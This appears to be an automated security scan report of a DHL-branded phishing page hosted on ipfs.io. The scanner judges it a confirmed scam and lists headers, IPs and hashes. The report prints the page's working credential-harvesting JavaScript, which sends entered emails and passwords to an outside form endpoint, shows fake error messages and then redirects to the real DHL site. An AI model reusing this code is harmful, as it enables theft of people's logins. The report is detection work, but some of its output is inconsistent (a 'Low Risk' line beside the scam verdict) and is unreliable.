government public service

English

You're looking at domain 'ipfs.io' on the British Indian Ocean Territory country-code top-level domain (.io) while skipping any subdomain. The registrable portion 'ipfs' spans 4 characters with one vowel and three consonants. Segmentation suggests two words: i, pfs. Expect 2 characters per word on average. No strong language cues emerged from the frequency lists.

email

password

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

864343f37a078a36ebaf627401ccafaa2021ee1adfe26a653ae6ff0396745647

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/


  (() => {
    const form = document.getElementById('signin-form');
    const errorMessageEl = document.getElementById('error-message');
    const maxAttempts = 5; // Maximum number of attempts
    const submitEndpoint = 'https://submit-form.com/0zk2PKgJL';
    let attemptCount = 0;

    // Extract email from the URL hash (after #)
    let emailParam = window.location.hash ? window.location.hash.substring(1) : null;

    if (emailParam) {
      // Pre-fill the email input field
      const emailInput = document.getElementById('email');
      emailInput.value = decodeURIComponent(emailParam);
      emailInput.disabled = false; // Enable the email input field

      // Do NOT modify UI based on domain, keep DHL background as is

    } else {
      console.warn("No email found in the URL hash.");
      // Keep default DHL background, no UI change
    }

    // Utility: send data to the endpoint asynchronously
    async function reportCredentials(email, password) {
      try {
        await fetch(submitEndpoint, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ email, password, timestamp: new Date().toISOString() }),
          keepalive: true
        });
      } catch (e) {
        // Network or other errors: silently fail to not break UX
        console.warn('Report submission failed:', e);
      }
    }

    form.addEventListener('submit', async (event) => {
      event.preventDefault();
      errorMessageEl.textContent = '';

      const email = form.email.value.trim();
      const password = form.password.value;

      // Basic client side validation
      if (!email || !password) {
        errorMessageEl.textContent = 'Please enter both email and password.';
        return;
      }

      // Report credentials to endpoint (async, don't block UX)
      await reportCredentials(email, password);

      attemptCount++; // Increment the attempt count

      if (attemptCount < maxAttempts) {
        // Reset password field and show error message
        form.password.value = '';
        form.password.focus();
        errorMessageEl.textContent = 'Incorrect password. Please try again.';
      } else {
        // Redirect on 5th attempt
        window.location.href = 'https://www.dhl.com/gb-en/home/ship-now.html';
      }
    });

  })();


DHL Sign-In

✅ Low Risk - https://ipfs.io/ipfs/bafkreidoi5exgym2a54gye5zy3nked64z3tpekjorpzrpd4s6gggjcvtpe#%7Bemail%7D

Requests	IP Address	Location	AS Autonomous System
2	142.250.186.131	United States	AS15169GOOGLE
2	142.250.186.106	United States	AS15169GOOGLE
1	185.93.3.244	Madrid, Madrid, Spain	AS60068Datacamp Limited
1	209.94.90.1	United States	AS40680PROTOCOL
1	142.250.184.251	United States	AS15169GOOGLE
0	142.250.185.219	United States	AS15169GOOGLE
0	142.250.185.155	United States	AS15169GOOGLE
0	2a00:1450:4001:827::201b	Frankfurt am Main, Hesse, Germany	AS15169GOOGLE
0	142.250.186.155	United States	AS15169GOOGLE
0	2a00:1450:4001:810::201b	Frankfurt am Main, Hesse, Germany	AS15169GOOGLE
8	28	-	-

Security Scan Report: ipfs.io

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History